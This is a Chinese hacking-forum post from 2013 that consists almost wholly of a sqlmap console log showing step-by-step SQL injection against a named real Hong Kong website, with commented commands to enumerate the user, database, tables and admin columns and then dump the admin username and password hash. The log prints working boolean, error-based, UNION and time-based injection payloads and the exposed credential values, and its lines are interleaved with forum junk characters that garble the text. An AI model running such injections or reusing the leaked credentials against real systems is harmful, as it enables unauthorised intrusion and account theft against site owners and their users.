找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2719|回复: 0
打印 上一主题 下一主题

sqlmap实例注入mysql

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-4 22:18:49 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
D:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db1 Z5 S% Z* f5 u9 t5 L2 I
ms "Mysql" --current-user       /*  注解:获取当前用户名称' m0 c" s. ^7 z( l8 c
    sqlmap/0.9 - automatic SQL injection and database takeover tool0 W2 {& t$ x. f: m& H1 U
    http://sqlmap.sourceforge.net
  • starting at: 16:53:54
    " X& d/ @8 e& ?[16:53:54] [INFO] using 'D:\Python27\sqlmap\output\www.wepost.com.hk\session' as
    $ F+ ^3 w; E, n" x4 S7 W0 p& g session file& r/ T, r3 ]4 r
    [16:53:54] [INFO] resuming injection data from session file2 F$ m; ]0 \, Z' u7 |1 ?$ s4 l
    [16:53:54] [INFO] resuming back-end DBMS 'mysql 5.0' from session file
    " G2 ?0 l) M9 l/ }[16:53:54] [INFO] testing connection to the target url
    4 `$ p+ Q& l- j- I: W2 w/ v! [  |sqlmap identified the following injection points with a total of 0 HTTP(s) reque
    $ S$ K4 I& V+ Y( |6 r0 a$ \' E5 Bsts:) T0 |% b, [5 `; J8 I
    ---2 o: Z6 Q2 W+ a6 Q
    Place: GET
    0 h: p! z3 e4 B- Z/ y6 sParameter: id! ?4 ^$ W3 w: f: C
        Type: boolean-based blind% C2 a0 F1 G7 L$ G$ v
        Title: AND boolean-based blind - WHERE or HAVING clause5 H% {  T; F9 P- {' n$ I
        Payload: id=276 AND 799=799
    : K& W7 q* [8 h2 ~, H( o    Type: error-based3 a5 t; J6 \2 _8 _1 v0 U) L
        Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause0 Z6 W: `! s& l# F5 P' W' Z
        Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,1 j* K% n8 j. w9 h/ n' z6 L
    120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,589 r4 z& X) C+ {. @. Q, ~. s
    ),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)" P4 U, Y6 D! q6 K, t9 |
        Type: UNION query  C* W$ h9 B) v& _4 j* E! V  ]" J
        Title: MySQL UNION query (NULL) - 1 to 10 columns) i$ z0 V: s6 R/ ]" P0 e2 W
        Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR
    . L1 z2 y/ w) i(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),
    - {, V4 A- \* I) H2 QCHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#3 M$ \/ z3 w6 M! P
        Type: AND/OR time-based blind0 j; n; [3 {: Z" W* t: R
        Title: MySQL > 5.0.11 AND time-based blind! m4 s$ U9 x8 z% T) b
        Payload: id=276 AND SLEEP(5)
    0 j" a6 R* c, Y% f+ q" |---, Z' y6 j  l/ T( W: x
    [16:53:55] [INFO] the back-end DBMS is MySQL
    ' M8 r% S* }3 J* \  A! F8 hweb server operating system: Windows4 C& n3 `3 q4 T2 m, w) g
    web application technology: Apache 2.2.11, PHP 5.3.05 e3 ^$ g3 V9 s% |+ R4 t
    back-end DBMS: MySQL 5.0. H: u$ ]/ v& K0 L
    [16:53:55] [INFO] fetching current user
    ) B; j7 A* e& e. Ycurrent user:    'root@localhost'   
    . V: K# x1 W/ U% A8 h% G& N[16:53:58] [INFO] Fetched data logged to text files under 'D:\Python27\sqlmap\ou
    + g  a7 {% L; a/ Ctput\www.wepost.com.hk'
  • shutting down at: 16:53:58
    $ X1 z6 V0 P* L" m* t
    " U% g4 M3 H$ A1 LD:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db5 N: |+ k7 j7 h( D5 Y5 x5 k- T, u
    ms "Mysql" --current-db                  /*当前数据库4 f' I) [- t  ]6 e7 c: j
        sqlmap/0.9 - automatic SQL injection and database takeover tool" m3 `, b$ N, _1 D
        http://sqlmap.sourceforge.net
  • starting at: 16:54:16
    $ f$ w- C8 W/ J- c2 Q3 W: L7 @& L[16:54:16] [INFO] using 'D:\Python27\sqlmap\output\www.wepost.com.hk\session' as8 G# q% U) e. o; K1 \
    session file
    3 ^/ k6 j% _1 T5 r0 ~, N[16:54:16] [INFO] resuming injection data from session file
    ; q5 o# H$ Z5 f' L- N. d( l[16:54:16] [INFO] resuming back-end DBMS 'mysql 5.0' from session file% s. [/ j6 @  m8 ~5 @$ h
    [16:54:16] [INFO] testing connection to the target url
    , {9 j8 R7 e$ c$ n3 K: {9 Xsqlmap identified the following injection points with a total of 0 HTTP(s) reque1 E% T: ]3 T2 C0 e2 Z
    sts:
    1 Y0 [  V. E/ w: @: C+ _---
    4 m: L& v# Q# Y$ p1 L2 oPlace: GET7 N% L; }  C6 R2 |- |. ^' e/ g) K
    Parameter: id
    % S) k0 T+ H! G6 R; p) L6 R: i" K8 Q    Type: boolean-based blind
    ) E& x4 l" |2 I: k2 N    Title: AND boolean-based blind - WHERE or HAVING clause4 O( I) w9 o: Z' S3 `4 v
        Payload: id=276 AND 799=799
    ; g* [+ b' P; x* @    Type: error-based
    8 E, u% t& X  g; h& S& M7 U/ T    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause3 s: i! \/ L3 q+ N  i
        Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,
    $ c" Q/ ~3 |3 W5 n; W120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58
    ! _6 S: Q$ [: \/ `),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
    / h, W6 s5 I- {. }# J    Type: UNION query6 j7 j" s4 V! W
        Title: MySQL UNION query (NULL) - 1 to 10 columns
    . u- f& Q# C7 o: Q    Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR
    8 ^, M1 c- L/ q$ {(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),' @% n& n* l3 f; H% [1 g* K. L) o8 Y
    CHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#
    1 q, C8 [! B: P5 X/ n3 `/ k    Type: AND/OR time-based blind
    0 r2 ?- ^6 b  y1 H9 t& x7 h    Title: MySQL > 5.0.11 AND time-based blind
    / ~+ U# g8 W' e, W% s2 o$ a    Payload: id=276 AND SLEEP(5)( y( V" u& p& b0 y; I7 ?
    ---
    - Z/ p' M. b' ]9 H' ~8 F% H[16:54:17] [INFO] the back-end DBMS is MySQL1 ?; m" c- l0 F! k$ H
    web server operating system: Windows
    7 T5 v" v! \* \web application technology: Apache 2.2.11, PHP 5.3.0
    0 f+ a  o2 Q- V6 ^$ ~. q! @back-end DBMS: MySQL 5.0
    9 p( {! B( @( T: I, B- ~; D[16:54:17] [INFO] fetching current database+ W" ^5 t! \  G. @
    current database:    'wepost'  b% j& J) [, V% U7 ~
    [16:54:18] [INFO] Fetched data logged to text files under 'D:\Python27\sqlmap\ou
    0 k! }& B8 g3 b( ktput\www.wepost.com.hk'
  • shutting down at: 16:54:18
    , |# l# `* |4 {9 J7 T! Y5 }. uD:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db
    3 |8 Q' A: b/ Q2 {/ Z2 Sms "Mysql" --tables  -D "wepost"         /*获取当前数据库的表名
    : P8 G* [6 l: p: `8 q/ U3 G    sqlmap/0.9 - automatic SQL injection and database takeover tool
    + I9 \" Q1 m% {( Q0 z) M    http://sqlmap.sourceforge.net
  • starting at: 16:55:251 y* P+ H/ X1 L7 F9 U
    [16:55:25] [INFO] using 'D:\Python27\sqlmap\output\www.wepost.com.hk\session' as
    / x* o( ^, h) e: G" K# M1 K* M, @ session file
    - K3 T# a/ d8 G  h$ o* w[16:55:25] [INFO] resuming injection data from session file+ [5 A) e2 T0 b% b! O/ b
    [16:55:25] [INFO] resuming back-end DBMS 'mysql 5.0' from session file
    5 q$ `6 w2 Z3 q0 @[16:55:25] [INFO] testing connection to the target url) G% o* _& R2 L" Q0 X' E+ T% M
    sqlmap identified the following injection points with a total of 0 HTTP(s) reque1 }0 t; _) Y$ X
    sts:
    7 q& \4 F9 X# j( H8 g  h; r---& }- M, Z5 V0 U% m+ Y! v
    Place: GET& C# m% f! v  Z3 ?0 T
    Parameter: id) H+ Q* }8 B; q, ^0 @
        Type: boolean-based blind( J; ?& O+ V7 _) T7 F
        Title: AND boolean-based blind - WHERE or HAVING clause
    * e  v5 x" v6 Q. b" @    Payload: id=276 AND 799=799# V3 X" u6 i) V1 U" l5 k' ~
        Type: error-based: z, C; U8 t, G8 I
        Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause% j/ e1 e- o% G9 n7 s1 {( L! h
        Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,
    4 M0 y8 H+ Q& V5 J& x( T: W120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58* W: s. ]7 \; L" ~
    ),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
    0 K0 G9 B8 S; t7 S' x8 s. \9 G    Type: UNION query
    4 i& [& X1 v5 U* Y8 R! X- m    Title: MySQL UNION query (NULL) - 1 to 10 columns; U1 L4 b% F5 f+ O
        Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR
    , n, N( A5 B3 I; v8 z6 |+ S(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),5 q' _4 B7 R" I9 ]1 p% z
    CHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#
    7 y/ ]  ]4 S# }$ @% x- c( E3 R    Type: AND/OR time-based blind
    * H; y6 f& b$ m. W* i0 }$ H    Title: MySQL > 5.0.11 AND time-based blind* b& O% _+ {4 |: j; Q. O6 p0 j
        Payload: id=276 AND SLEEP(5)+ P# `) w* `* m7 k5 J
    ---1 v* _. {- n$ r+ {$ z1 V& O
    [16:55:26] [INFO] the back-end DBMS is MySQL
    : r3 A# d2 _" b7 eweb server operating system: Windows$ {  N* b' Y$ q- r1 o
    web application technology: Apache 2.2.11, PHP 5.3.0- N* o2 h* H( O" Z- Z% H  H& E
    back-end DBMS: MySQL 5.0
    ; }" b/ ]- Q3 {[16:55:26] [INFO] fetching tables for database 'wepost'
    * l9 R/ ^2 B9 @8 S" e* u[16:55:27] [INFO] the SQL query used returns 6 entries
    5 r( P" z* V1 H- aDatabase: wepost
    1 U. ^/ c& i# p) A4 Z[6 tables]) {" i, V( f* K# M7 d" c
    +-------------+
    ) j7 I. B3 i1 M$ |# Z6 J$ H| admin       |
    - O- S; ?9 ]" v2 J: [* o+ z) G| article     |
    # u. q8 F7 y5 u% u) T9 O| contributor |, p: `+ o- @6 |1 k' E
    | idea        |
    ( }* t6 U: c6 p" |- Y5 E| image       |
    & F. K- B7 e) D: e0 ^+ }| issue       |
    % l! F: U: K, A  y/ i+-------------+6 J- o3 b% K! C! v
    [16:55:33] [INFO] Fetched data logged to text files under 'D:\Python27\sqlmap\ou
    ( t- t9 e2 D, h2 m& S5 Xtput\www.wepost.com.hk'
  • shutting down at: 16:55:331 N7 r1 F9 J, e1 z+ t( M

    + I* t% c  o& }7 f( b3 x, VD:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db0 X' g7 R' l" ]+ ~6 {
    ms "Mysql" --columns -T "admin" users-D "wepost" -v 0     /*获取admin表的字段名
    8 `0 P2 x1 Y8 m9 x+ S$ A: L4 o; e# E    sqlmap/0.9 - automatic SQL injection and database takeover tool
    1 n# l) A; x- i( g* b% |  f    http://sqlmap.sourceforge.net
  • starting at: 16:56:06  l5 E% p% A6 K5 l" P
    sqlmap identified the following injection points with a total of 0 HTTP(s) reque7 D2 Z$ M* z' O: l$ k1 x9 r3 l
    sts:
    - _8 i9 H3 `0 B. v0 Q---4 t+ |# x9 r# y! }
    Place: GET
    , S$ T1 A8 a6 n0 g' Y# C7 Q- J+ O, MParameter: id
    4 z- a  j6 l0 I4 T# F+ i# J6 C    Type: boolean-based blind
    9 _8 d% O, ^4 ^# m    Title: AND boolean-based blind - WHERE or HAVING clause
    4 S+ w( h+ T0 f7 P0 ?    Payload: id=276 AND 799=799
    1 g7 Y$ c/ [/ i1 \/ ]) \" _    Type: error-based+ Z9 Q" a1 _1 [! p4 U2 }; r
        Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    " `3 _! ^6 _' @& _9 n    Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,' C  o; N+ M7 T3 G* X
    120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58( {. a+ [7 L" {/ V- r: l7 ?' _: q
    ),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)! ?4 ], e, l; {; e3 F
        Type: UNION query$ T4 M1 |* W+ N# w
        Title: MySQL UNION query (NULL) - 1 to 10 columns" v! U# i3 p5 n$ z" w& i
        Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR, Z+ {+ P' Z' X6 q: ?4 ]5 q3 k
    (58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),% U% C2 i* n* W) B3 z
    CHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#
    8 }3 x+ S6 a& o& X7 I    Type: AND/OR time-based blind- W, D. z+ }9 [- c
        Title: MySQL > 5.0.11 AND time-based blind$ s, d4 ]1 ^; E
        Payload: id=276 AND SLEEP(5)9 ~9 m: ~3 p8 I& [% D7 L% p
    ---8 [$ }  i( K  z8 `# a5 t& z
    web server operating system: Windows
    1 \) o6 l, x4 \% \web application technology: Apache 2.2.11, PHP 5.3.0
    % ?! M6 T! N  R, [- fback-end DBMS: MySQL 5.0
    - |( P* {0 r$ f[16:56:11] [INFO] read from file 'D:\Python27\sqlmap\output\www.wepost.com.hk\se( R/ |6 A3 x: U) w
    ssion': wepost, wepost
    2 q( O% M/ k0 a' D3 h0 L( ZDatabase: wepost
    4 p3 r2 T" Y& D9 S+ }3 @' t  ~$ L0 \Table: admin, d% _3 e# o. W$ N5 J9 a' _
    [4 columns]9 p+ i. Q% G/ `' R2 c3 g
    +----------+-------------+
    . s  h0 S) K, v8 @* {! c$ B| Column   | Type        |) a2 x/ ~* M" J; Y: p- r
    +----------+-------------+
    ' G" ^4 B* b# _/ c, [0 W/ o+ p# A$ h| id       | int(11)     |) x2 O4 C, c) R4 q5 O$ }  G
    | password | varchar(32) |
      y$ P+ v9 f, {% W& N| type     | varchar(10) |
    5 n8 i+ V; {- ]& \+ L7 ]0 S. \| userid   | varchar(20) |, P% n# M' N. I. _8 ^) \
    +----------+-------------+
    7 t7 j( M2 o. ]# o7 Q( s
  • shutting down at: 16:56:19
    2 [5 f8 L3 H# _. T. b" T
    # c6 c8 X! Q9 S5 t$ |D:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db4 ~6 x) y, ~$ F, o
    ms "Mysql"  --dump  -C "userid,password"  -T "admin" -D "wepost" -v 0      /*获取字段里面的内容
    . _' f5 o7 b9 M" h6 ^    sqlmap/0.9 - automatic SQL injection and database takeover tool, f7 F1 D7 r& A& q  n& x" R& i
        http://sqlmap.sourceforge.net
  • starting at: 16:57:14
      F1 W: {" V$ z% Z2 c7 @% U1 }sqlmap identified the following injection points with a total of 0 HTTP(s) reque
    - p( Y0 N+ b) {4 ssts:0 h. M( D  E) {/ n% h* k8 x1 Z
    ---: y/ Z1 Q- i) d5 U8 x; `. E
    Place: GET
    . k( B2 H  q* n; U0 j) QParameter: id8 p2 P; w* {: P8 z. B5 t
        Type: boolean-based blind
    7 [: y5 l( x3 }" h. t- x0 D1 K    Title: AND boolean-based blind - WHERE or HAVING clause
    , c; e3 X; g& o3 \  L# Z+ o    Payload: id=276 AND 799=799- t' a% ~( |5 V1 a  `/ i/ H; W
        Type: error-based
    , e$ f  T& r& k    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause: }8 V! Y1 Z5 W3 n. G  X
        Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,
    7 |$ v& x2 A4 @: {/ I; _+ I120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58
    6 n) d$ m$ y+ Y! _),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)$ S! i3 d# Y* P# l) s& J
        Type: UNION query4 v8 {7 i' w4 A+ \* b1 w
        Title: MySQL UNION query (NULL) - 1 to 10 columns! L( D5 ~$ x. i. g% [, b
        Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR  I& s6 J, N( L, W& k+ n$ v: g. q
    (58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),
    ( P7 a6 @: W1 w" y2 {9 E, _/ ~CHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#% j3 a- o% S) Q, |2 T
        Type: AND/OR time-based blind2 C- H% D  h' k( ~( ?
        Title: MySQL > 5.0.11 AND time-based blind, I6 P) c# m- F3 l0 d- O
        Payload: id=276 AND SLEEP(5); ~( G. X7 g! Y/ L% c0 q: O
    ---
    : R2 L( D0 E! Zweb server operating system: Windows
    % l" n' g* W# ]- j2 Gweb application technology: Apache 2.2.11, PHP 5.3.0
    ( P) a+ L1 M0 n2 g; r+ |; Yback-end DBMS: MySQL 5.0
    9 M7 f9 \0 p, s: y3 f8 r% I" Erecognized possible password hash values. do you want to use dictionary attack o+ f5 T3 u- e9 t7 K
    n retrieved table items? [Y/n/q] y; J; k, T% K5 _5 H5 J6 u
    what's the dictionary's location? [D:\Python27\sqlmap\txt\wordlist.txt]% U) a3 G) z* H. r0 ^! z; c) p) {2 |
    do you want to use common password suffixes? (slow!) [y/N] y
    / r; i: K. [' _* UDatabase: wepost9 J5 Q! l. X5 z6 I0 r( U. W4 X
    Table: admin. K, n4 ]' x$ s% U
    [1 entry]
    % F+ r+ X7 ^) B! L9 b% @: @$ W+----------------------------------+------------+6 _* d' l$ S. ~' R: P
    | password                         | userid     |# `5 c9 L! g" @/ t0 W6 T
    +----------------------------------+------------+
    ; D' |6 t7 I4 ~$ R5 b6 \3 h| 7d4d7589db8b28e04db0982dd0e92189 | wepost2010 |. q: Q+ F& L: G$ q: A
    +----------------------------------+------------+: x( ?9 ^+ y' \' w' o( J+ v2 f
  • shutting down at: 16:58:14
    $ _$ L0 ~/ ?- D) t" E+ m8 X
    / Q# V/ R: A$ W$ y0 O/ BD:\Python27\sqlmap>
  • 回复

    使用道具 举报

    您需要登录后才可以回帖 登录 | 立即注册

    本版积分规则

    快速回复 返回顶部 返回列表